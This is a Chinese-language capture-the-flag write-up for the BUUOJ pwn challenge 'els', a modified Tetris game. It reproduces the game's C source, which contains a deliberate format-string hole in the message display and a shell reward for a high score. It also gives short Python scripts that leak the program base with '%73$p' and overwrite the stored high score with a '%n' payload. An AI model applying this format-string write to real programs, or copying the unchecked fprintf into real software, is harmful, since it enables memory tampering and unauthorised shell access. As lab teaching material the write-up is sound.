CTF-Pwn-[BJDCTF 2nd]els

CTF-Pwn-[BJDCTF 2nd]els

博客說明node

文章所涉及的資料來自互聯網整理和我的總結,意在於我的學習和經驗彙總,若有什麼地方侵權,請聯繫本人刪除,謝謝!本文僅用於學習與交流,不得用於非法用途!

CTP平臺

網址python

https://buuoj.cn/challengesshell

題目

Pwn類,[BJDCTF 2nd]els數組

image-20200507132053326

使用ssh遠程鏈接Username: ctf Password: guest服務器

思路

遠程鏈接ssh

ssh -p 27875 ctf@node3.buuoj.cn

image-20200507132239584

首先運行一下函數

image-20200507132838023

玩了一下,0分!故意不得分學習

看看源代碼spa

main.c3d

/*************************************************
 * name: main
 * 功能:實現俄羅斯方塊小遊戲
 * 編寫人:王廷雲
 * 編寫日期:2018-3-21
 * 最近更新日期:2019-7-3
 * 魔改人:TaQini 
 * 最近魔改日期:2020-3-13
**************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/time.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include "data.h"

#define   ROW    21     // 遊戲區域的行數
#define   COL    18     // 遊戲區域的列數

/* 按鍵枚舉 */
enum key {
   DOWN,                // 上
   LEFT,                // 左
   RIGHT,               // 右
   CHANGE,              // 變化
   STOP,                // 中止
   EXIT,                // 退出
   UNKNOW,              // 未知
};

/***** 函數聲明區域 ******/
void initalGameArea(void);                  // 初始化遊戲區域
void drawBlock(char bl[NR][NR]);            // 畫方塊
void cleanBlock(char bl[NR][NR]);           // 清除方塊
void turnBlock(char bl[NR][NR]);            // 旋轉方塊
void gameEnd(void);                         // 結束遊戲
void gameStop(void);                        // 暫停遊戲
void showGame(void);                        // 顯示遊戲
void gameSelf(int signo);                   // 遊戲自動運行
void checkDeleteLine(void);                 // 檢查是否滿一行
void checkGameOver(char bl[NR][NR]);        // 檢查是否遊戲結束
int  checkMove(char bl[NR][NR], int flag);  // 檢查方塊是否可移動
int  getInput(void);                        // 獲取輸入

/* 全局變量區域 */
static char gameArea[ROW][COL] = {0};       // 遊戲區域數據
static int startX = 7, startY = 6;          // 方塊出現的起始位置
static int type = 0;                        // 方塊當前類型
static int nextType = 0;                    // 方塊的下一種類型
static int diret = 0;                       // 方塊的方向
char *state = "\033[32m遊戲中...\033[0m";    // 遊戲運行狀態
static unsigned int level = 0;              // 遊戲等級
static unsigned int score = 0;              // 遊戲分數
static unsigned int maxScore = 0;           // 遊戲最高記錄
static FILE *fp = NULL;                     // 用於把記錄保存到文件
static FILE *fmsg = NULL;                   // 用於打開留言文件

/*
 * 主函數:控制全局流程
*/
int main(void)
{
    /* 讀取文件的最高記錄 */
    fp = fopen("./record","r+");
    if (NULL == fp)
    {
        /*
         * 文件不存在則建立並打開 
         * "w"方式打開會自動建立不存在的文
         */
        fp = fopen("./record","w");
    }
    fscanf(fp,"%u",&maxScore);

    if(maxScore > 666666)
    {
        puts("乾的漂亮!獎勵鵝羅獅高手shell一個!");
        system("/bin/sh");
        exit(0);
    }

    /*
     * 設置鬧鐘:
     * 當前時間間隔爲0.7秒,下一次時間間隔爲0.7秒
    */
    struct itimerval  timer = {{0,700000},{0,700000}};
    setitimer(ITIMER_REAL, &timer,NULL);

    /* 初始化遊戲區域 */
    initalGameArea();

    /* 設置遊戲信號 */
    signal(SIGALRM, gameSelf);

    /* 初始化方塊類型 */
    srand(time(NULL));
    type     = rand()%7;
    nextType = rand()%7;

    /* 用戶操做 */
    int key;
    while (1)
    {
        key = getInput();
        switch (key)
        {
            case RIGHT : checkMove(bl[type][diret],RIGHT);
                         break;
            case LEFT  : checkMove(bl[type][diret],LEFT);
                         break;
            case DOWN  : checkMove(bl[type][diret],DOWN);
                         break;
            case CHANGE: turnBlock(bl[type][(diret+1)%4]);
                         break;
            case STOP  : gameStop();
                         break;
            case EXIT  : gameEnd();
                         break;
            case UNKNOW: continue;
        }

        /* 畫方塊 */
        drawBlock(bl[type][diret]);

        /* 顯示遊戲 */
        showGame();

        /* 清除方塊 */
        cleanBlock(bl[type][diret]);
    }

    return 0;
}

/*
 * 函數名:initalGameArea
 * 函數功能:初始化遊戲區域
 * 參數:無
 * 返回值:無
*/
void initalGameArea(void)
{
    int i;

    /* 屏幕設置 */
    printf("\033[2J");            // 清屏
    system("stty -icanon");       // 關緩衝
    system("stty -echo");         // 關回顯
    fprintf(stdout,"\033[?25l");  // 關閉鼠標顯示

    /* 初始化行 */
    for (i = 0; i < COL; i++)
    {
        gameArea[0][i]     = 8;   // 第0行
        gameArea[5][i]     = 8;   // 第5行
        gameArea[ROW-1][i] = 8;   // 最後一行
    }

    /* 初始化列 */
    for (i = 0; i < ROW; i++)
    {
        gameArea[i][0]     = 8;  // 第0列
        gameArea[i][COL-1] = 8;  // 最後一列
    }

    /* 中間一小列 */
    for (i = 1; i < 5; i++)
    {
        gameArea[i][6] = 8;
    }
}


/*
 * 函數名:gameSelf
 * 函數功能:做爲信號函數,鬧鐘時間一到就自動下落
 * 參數:信號
 * 返回值:無
*/
void gameSelf(int signo)
{
    /* 畫方塊 */
    drawBlock(bl[type][diret]);

    /* 顯示遊戲 */
    showGame();

    /* 清除方塊 */
    cleanBlock(bl[type][diret]);

    /* 若是方塊已經到底 */
    if (!checkMove(bl[type][diret],DOWN))
    {
        /* 檢查是否遊戲結束 */
        checkGameOver(bl[type][diret]);

        /* 保留已經到底的方塊 */
        drawBlock(bl[type][diret]);

        /* 顯示遊戲結果 */
        showGame();

        /* 到達邊界後檢查是否可消行 */
        checkDeleteLine();

        /* 從新開始下一個方塊 */
        startY = 6;
        startX = 7;
        type = nextType;
        nextType = rand()%7;
        diret = 0;
    }
}

/*
 * 函數名:checkDeleteLine
 * 函數功能:檢查是否可消行
 * 參數:無
 * 返回值:無
*/
void checkDeleteLine(void)
{
    int i, j;
    int x, y;

    /* 檢查當前方塊的四行區域內 */
    for (i = 3; i >= 0; i--)
    {
        for (j = 1; j < COL-1; j++)
        {
            /* 檢測方塊是否滿一行 */
            if (gameArea[startY+i][j] == 0)
                break;
            /* 跳過邊框區域 */
            else if (gameArea[startY+i][j] == 8)
                break;
        }
        /* 若是滿了一行則刪除一行 */
        if (j == COL-1)
        {
            /* 刪除滿了的一行 */
            for (j = 1; j < COL-1; j++)
            {
                gameArea[startY+i][j] = 0;
            }

            /* 分數累加 */
            score += 100;

            /* 記錄最高分 */
            if (score > maxScore)
            {
                maxScore = score;
                /* 保存最高分 */
                rewind(fp);
                fprintf(fp,"%u\n",maxScore);
            }

            /* 記錄級別 */
            if (score%200 == 0)
            {
                /* 每200分加一級 */
                level++;
            }

            /* 刪除後往下移動一行 */
            for (x = 1; x < COL-1; x++)
            {
                for (y = startY+i; y >= 7; y--)
                {
                    gameArea[y][x] = gameArea[y-1][x];
                }
            }

            /* 移動的一行須要檢測範圍加一行 */
            i++;
        }
    }
}

/*
 * 函數名:checkGameOver
 * 函數功能:檢查遊戲是否結束
 * 參數:待檢查方塊數據數據
 * 返回值:無
*/
void checkGameOver(char block[NR][NR])
{
    int i;

    for (i = 0; i < NR; i++)
    {
        /* 方塊碰到上方邊界則遊戲結束 */
        if (block[0][i] != 0 && gameArea[startY-1][startX+i] == 8)
        {
            gameEnd();
        }
    }
}

/*
 * 函數名:turnBlock
 * 函數功能:旋轉方塊
 * 參數:須要旋轉的方塊數組數據
 * 返回值:無
*/
void turnBlock(char bl[NR][NR])
{
    int x, y;

    /* 檢查是否越界 */
    for (y = 0; y < NR; y++)
    {
        for (x = 0; x < NR; x++)
        {
            /* 只能判斷到達了邊界 */
            if (bl[y][x] != 0 && gameArea[startY+y][startX+x] != 0)
            {
                return;
            }
        }
    }

    /* 兩邊都沒有越界則旋轉方塊方向 */
    diret = (diret+1)%4;
}

/*
 * 函數名:gameStop
 * 函數功能:暫停遊戲,等待用戶再次啓動遊戲
 * 參數:無
 * 返回值:無
*/
void gameStop(void)
{
    /* 建立一個暫停的是時鐘 */
    struct itimerval stop = {0}, older;

    /* 設置新鬧鐘並存儲舊鬧鐘 */
    setitimer(ITIMER_REAL,&stop,&older);

    /* 配置暫停後的界面 */
    state = "\033[31m暫停中...\033[0m";

    // 爲了防止按下暫停鍵後方塊下滑一格 
    // TaQini: 增長if(startY>5) 防止數組上溢
    if(startY>5) startY--;

    drawBlock(bl[type][diret]);
    showGame();
    cleanBlock(bl[type][diret]);

    /* 等待用戶按開始鍵或退出鍵 */
    int key;
    while (1)
    {
        key = fgetc(stdin);

        /* 空格開始 */
        if (key == ' ')
            break;
        /* q 退出 */
        else if (key == 'q')
            gameEnd();
    }

    /* 恢復鬧鐘和遊戲 */
    setitimer(ITIMER_REAL,&older,NULL);
    state = "\033[32m遊戲中...\033[0m";
}

/*
 * 函數名:checkMove
 * 函數功能:檢查方塊是否可移動,能移則移
 * 參數:1.方塊數組數據 2.方向標誌位
 * 返回值:可移動返回1,不能移動返回0
*/
int checkMove(char bl[NR][NR], int flag)
{
    int m, n;   // 用於標明可移動方向
    int x, y;   // 用於循環

    switch (flag)
    {
        case RIGHT : n = 0; m = 1;  break;
        case LEFT  : n = 0; m = -1; break;
        case DOWN  : n = 1; m = 0;  break;
    }

    /* 全局檢查 */
    for (y = 0; y < NR; y++)
    {
        for (x = 0; x < NR; x++)
        {
            /* 只能判斷到達了邊界 */
            if (bl[y][x] != 0 && gameArea[startY+y+n][startX+x+m] != 0)
            {
                return 0;
            }
        }
    }

    /* 出來講明沒有到達邊界 */
    startY += n;
    startX += m;

    return 1;
}

/*
 * 函數名:getInput
 * 函數功能:獲取用戶輸入
 * 參數:無
 * 返回值:無
*/
int getInput(void)
{
    char key;

    key = fgetc(stdin);

    if (key == '\033' && fgetc(stdin) == '[') // 方向鍵
    {
        switch (fgetc(stdin))
        {
            case 'A': return CHANGE;
            case 'B': return DOWN;
            case 'C': return RIGHT;
            case 'D': return LEFT;
        }
    }
    else if (key == 'q')    // 退出鍵
    {
        return EXIT;
    }
    else if (key == ' ')    // 空格鍵-暫停遊戲
    {
        return STOP;
    }
    else                    // 其它不相關的鍵
        return UNKNOW;
}

/*
 * 函數名:drawBlock
 * 函數功能:填充方塊數據
 * 參數:方塊數組數據
 * 返回值:無
*/
void drawBlock(char block[NR][NR])
{
    int x, y;

    /* 畫當前方塊 */
    for (y = 0; y < NR; y++)
    {
        for (x = 0; x < NR; x++)
        {
            if (block[y][x] != 0)
            {
                gameArea[startY+y][startX+x] = block[y][x];
            }
        }
    }

    /* 畫提示的下一個方塊 */
    for (x = 0; x < 2; x++)
    {
        for (y = 0; y < NR; y++)
        {
            if (bl[nextType][0][x][y] != 0)
                gameArea[3+x][2+y] = bl[nextType][0][x][y];
            else
                gameArea[3+x][2+y] = 0;
        }
    }
}

/*
 * 函數名:cleanBlock
 * 函數功能:清除方塊數據
 * 參數:方塊數組數據
 * 返回值:無
*/
void cleanBlock(char bl[NR][NR])
{
    int x, y;

    for (y = 0; y < NR; y++)
    {
        for (x = 0; x < NR; x++)
        {
            if (bl[y][x] != 0)
            {
                gameArea[startY+y][startX+x] = 0;
            }
        }
    }
}

/*
 * 函數名:showGame
 * 函數功能:顯示遊戲
 * 參數:無
 * 返回值:無
*/
void showGame(void)
{
    int i, j;

    /* 定位到第一行第一列 */
    fprintf(stdout,"\033[1;1H");
    fflush(stdout);

    /* 打印全部數據 */
    for (i = 0; i < ROW; i++)
    {
        for (j = 0; j < COL; j++)
        {
            if (gameArea[i][j] == 0)       // 空白區域
            {
                fprintf(stdout,"  ");
            }
            else if (gameArea[i][j] == 8)  // 邊界區域
            {
                fprintf(stdout,"\033[40m  \033[0m");
            }
            else                           // 方塊區域
            {
                fprintf(stdout,"\033[%dm  \033[0m",gameArea[i][j]+40);
            }
        }
        fputc('\n',stdout);
    }

    /* 打印提示信息 */
    fprintf(stdout,"\033[2;3H\033[33m【下一個】\033[0m\n");
    fprintf(stdout,"\033[2;15H當前級別:\033[36m%u\033[0m\n",level);
    fprintf(stdout,"\033[3;15H當前分數:\033[32m%u\033[0m\n",score);
    fprintf(stdout,"\033[4;15H最高記錄:\033[35m%u\033[0m\n",maxScore);
    fprintf(stdout,"\033[5;15H當前狀態:%s\n",state);
    
    /* 實時顯示留言 */
    fmsg = fopen("./msg","r+");
    if (NULL == fmsg) exit(0); 
    char message[0x100] = {0};
    fread(message,0x80,1,fmsg);
    fprintf(stdout,"\033[22;1H留言:");
    fprintf(stdout,message);
}

/*
 * 函數名:gameEnd
 * 函數功能:處理遊戲結束的設置
 * 參數:無
 * 返回值:無
*/
void gameEnd(void)
{
    /* 配置遊戲結束後的界面 */
    state = "\033[31m遊戲結束!!\033[0m";
    drawBlock(bl[type][diret]);
    showGame();

    /* 恢復終端設置 */
    system("stty icanon");          // 恢復緩衝
    system("stty echo");            // 恢復回顯
    fprintf(stdout,"\033[?25h");    // 恢復鼠標顯示

    /* 尾部處理 */
    fprintf(stdout,"\033[200;1H");  // 定位光標到最後一行
    fclose(fp);                     // 關閉文件
    exit(0);                        // 退出程序
}

瀏覽了了一下代碼,發如今留言的那個有格式化字符串漏洞fprintf(stdout,message)

/* 實時顯示留言 */
    fmsg = fopen("./msg","r+");
    if (NULL == fmsg) exit(0); 
    char message[0x100] = {0};
    fread(message,0x80,1,fmsg);
    fprintf(stdout,"\033[22;1H留言:");
    fprintf(stdout,message);

程序的主要流程是玩了666666分就給shell,而後從本地record文件,加載變量最高記錄,把留言信息加載到msg中,把分數加載到record

那既然這樣咱們能夠從msg和record入手,修改它不就得了?

查看文件權限
ls -al

image-20200507133955583

發現msg可讀可寫,record可讀,只有運行els程序時可寫,那麼msg就是突破口了

獲取showGame()函數基址

官方的代碼

msg.py

#!/usr/bin/python

payload = "%73$p"
f = open('/home/ctf/msg','w')
f.write(payload)
f.close()

exp.py

#!/usr/bin/python
from struct import pack
from sys import argv

start = eval(argv[1])
score = start-0x1180+0x53ac

# hex(666666) = 0xa2c2a
payload = "%20c%8$n" + pack('<Q', score+2)
print hex(score)
f = open('/home/ctf/msg','w')
f.write(payload)
f.close()

上傳文件到服務器/tmp目錄下

scp -P 27875  /home/tanglei/Desktop/ctf/msg.py ctf@node3.buuoj.cn:/tmp/msg.py
scp -P 27875  /home/tanglei/Desktop/ctf/exp.py ctf@node3.buuoj.cn:/tmp/exp.py

image-20200507141055031

先執行msg.py拿到程序基址,再經過exp.py計算maxScore地址並改寫

python msg.py

咱們開始一把遊戲./els,而後空格暫停(這個是大佬告訴個人)

image-20200513194332749

這個時候咱們再次打開一個shell去遠程鏈接,在/temp下

python exp.py 0x55ee6e866180

這邊再敲擊空格開始,發現分數上來了

image-20200513200436354

而後讓遊戲介結束,再次打開遊戲,得到flag

image-20200513215414064

感謝

BUUCTF

以及勤勞的本身

本站公眾號
   歡迎關注本站公眾號,獲取更多信息